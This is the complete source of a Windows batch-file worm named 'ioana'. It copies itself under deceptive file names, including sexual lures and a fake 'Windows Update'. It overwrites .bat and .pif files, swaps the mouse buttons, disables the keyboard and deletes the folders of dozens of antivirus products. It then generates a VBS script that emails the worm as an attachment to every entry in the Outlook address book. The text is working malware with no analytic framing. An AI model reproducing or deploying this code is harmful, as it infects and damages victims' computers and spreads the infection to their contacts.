10101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010
10101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010
10101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010
10101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010
10101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010
10101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010
ctty nul
@echo off
@deltree/y %windir%\system\ioana >nul
@md %windir%\system\ioana
@copy %0 %windir%\system\ioana\ioana.bat
@for %%u in (%windir%\desktop\*.bat) do copy %windir%\system\ioana\ioana.bat %%u
@copy %0 %windir%\desktop\"Lonely Girls For Your Pleasure.url.bat" >nul
@copy %0 %windir%\desktop\"Lolita blows it.jpg.bat" >nul
@copy %0 c:\mydocu~1\"Sex, Money and Power.doc.bat" >nul
@copy %0 c:\mydocu~1\"Warcraft 3 update.exe.bat" >nul
@deltree/y %windir%\desktop\startm~1\*.* >nul
@copy %0 %windir%\desktop\startm~1\"Windows Update.exe.bat" >nul
@C:\WINDOWS\rundll32.exe user,swapmousebutton
@C:\WINDOWS\rundll32.exe keyboard,disable
@if exist c:\progra~1\norton~1\*.* deltree/y c:\progra~1\norton~1\
@if exist c:\progra~1\norton~2\*.* deltree/y c:\progra~1\norton~2\
@if exist c:\progra~1\symant~1\*.* deltree/y c:\progra~1\symant~1\
@if exist c:\progra~1\common~1\symant~1\*.* deltree/y c:\progra~1\common~1\symant~1\
@if exist c:\progra~1\common~1\avpsha~1\avpbases\*.* deltree/y c:\progra~1\common~1\avpsha~1\avpbases\
@if exist c:\progra~1\common~1\avpsha~1\*.* deltree/y c:\progra~1\common~1\avpsha~1\
@if exist c:\progra~1\mcafee\viruss~1\*.* deltree/y c:\progra~1\mcafee\viruss~1\
@if exist c:\progra~1\mcafee\*.* deltree/y c:\progra~1\mcafee\
@if exist c:\progra~1\pandas~1\*.* deltree/y c:\progra~1\pandas~1\
@if exist c:\progra~1\trendm~1\*.* deltree/y c:\progra~1\trendm~1\
@if exist c:\progra~1\comman~1\*.* deltree/y c:\progra~1\comman~1\
@if exist c:\progra~1\zonela~1\*.* deltree/y c:\progra~1\zonela~1\
@if exist c:\progra~1\tinype~1\*.* deltree/y c:\progra~1\tinype~1\
@if exist c:\progra~1\kasper~1\*.* deltree/y c:\progra~1\kasper~1\
@if exist c:\progra~1\kasper~2\*.* deltree/y c:\progra~1\kasper~2\
@if exist c:\progra~1\trojan~1\*.* deltree/y c:\progra~1\trojan~1\
@if exist c:\progra~1\avpers~1\*.* deltree/y c:\progra~1\avpers~1\
@if exist c:\progra~1\grisoft\*.* deltree/y c:\progra~1\grisoft\
@if exist c:\progra~1\antivi~1\*.* deltree/y c:\progra~1\antivi~1\
@if exist c:\progra~1\quickh~1\*.* deltree/y c:\progra~1\quickh~1\
@if exist c:\progra~1\f-prot95\*.* deltree/y c:\progra~1\f-prot95\
@if exist c:\progra~1\fwin32\*.* deltree/y c:\progra~1\fwin32\
@if exist c:\progra~1\tbav\*.* deltree/y c:\progra~1\tbav\
@if exist c:\progra~1\findvi~1\*.* deltree/y c:\progra~1\findvi~1\
@if exist c:\findvi~1\*.* deltree/y c:\findvi~1\
@if exist c:\esafen\*.* deltree/y c:\esafen\
@if exist c:\f-macro\*.* deltree/y c:\f-macro\
@if exist c:\tbavw95\*.* deltree/y c:\tbavw95\
@if exist c:\tbav\*.* deltree/y c:\tbav\
@if exist c:\vs95\*.* deltree/y c:\vs95\
@if exist c:\antivi~1\*.* deltree/y c:\antivi~1\
@if exist c:\toolkit\findvi~1\*.* deltree/y c:\toolkit\findvi~1\
@if exist c:\pccill~1\*.* deltree/y c:\pccill~1\
:: no payloads
@echo.on error resume next>ioana.vbs"
@echo.dim a,b,c,d,e>>ioana.vbs"
@echo.set a = Wscript.CreateObject("Wscript.Shell")>>ioana.vbs"
@echo.set b = CreateObject("Outlook.Application")>>ioana.vbs"
@echo.set c = b.GetNameSpace("MAPI")>>ioana.vbs"
@echo.for y = 1 To c.AddressLists.Count>>ioana.vbs"
@echo.set d = c.AddressLists(y)>>ioana.vbs"
@echo.x = 1>>ioana.vbs"
@echo.set e = b.CreateItem(0)>>ioana.vbs"
@echo.for o = 1 To d.AddressEntries.Count>>ioana.vbs"
@echo.f = d.AddressEntries(x)>>ioana.vbs"
@echo.e.Recipients.Add f>>ioana.vbs"
@echo.x = x + 1>>ioana.vbs"
@echo.next>>ioana.vbs"
@echo.e.Subject = " For my special aNGeL ... IOANA ... ">>ioana.vbs"
@echo.e.Body = " I love you ">>ioana.vbs"
@echo.e.Attachments.Add ("c:\windows\system\ioana\ioana.bat")>>ioana.vbs"
@echo.e.DeleteAfterSubmit = False>>ioana.vbs"
@echo.e.Send>>ioana.vbs"
@echo.f = "">>ioana.vbs"
@echo.next>>ioana.vbs"
@start ioana.vbs
:: no mIRC spreading
:: no pIRCh spreading
@echo.on error resume next>pif.vbs"
@echo.dim wshs, msc>>pif.vbs"
@echo.set wshs=Wscript.CreateObject("WScript.Shell")>>pif.vbs"
@echo.set msc=wshs.CreateShortcut("C:\pif.lnk")>>pif.vbs"
@echo.msc.TargetPath = wshs.ExpandEnvironmentStrings("c:\windows\system\ioana\ioana.bat")>>pif.vbs"
@echo.msc.WindowStyle = 4>>pif.vbs"
@echo.msc.Save>>pif.vbs"
@start pif.vbs
@type nul | choice /n /cy /ty,8 >nul"
@for %a in (C:\WINDOWS\desktop\*.pif) do copy c:\pif.pif %a
@for %b in (C:\WINDOWS\*.pif) do copy c:\pif.pif %b
@for %c in (C:\WINDOWS\command\*.pif) do copy c:\pif.pif %c
cls